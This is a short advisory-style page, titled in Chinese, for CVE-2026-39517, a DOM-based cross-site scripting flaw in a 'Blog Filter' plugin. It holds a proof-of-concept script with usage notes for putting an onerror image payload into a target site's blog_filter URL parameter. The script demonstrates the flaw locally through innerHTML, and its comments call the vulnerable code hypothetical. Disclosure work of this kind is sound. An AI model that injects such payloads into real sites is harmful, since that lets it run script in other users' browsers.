CVE-2026-39517 Blog Filter DOM型跨站脚本漏洞

<!-- // PoC for CVE-2026-39517 (DOM-Based XSS) // Usage: Append the payload to the URL of a page using the vulnerable plugin. // Example: http://target-site.com/?blog_filter=<PAYLOAD> --> <script> // Simulating the vulnerable behavior where input is taken from URL // and directly inserted into the DOM without sanitization. // Malicious payload to demonstrate XSS execution var payload = '<img src=x onerror=alert(1)>'; // Hypothetical vulnerable code pattern in the plugin: // var user_input = getQueryString('blog_filter'); // document.getElementById('vulnerable-element').innerHTML = user_input; console.log('If the plugin uses innerHTML with user input, the alert will popup.'); // For testing, inject the payload into a div with ID 'result' (hypothetical) var targetDiv = document.getElementById('result'); if(targetDiv) { targetDiv.innerHTML = payload; } </script>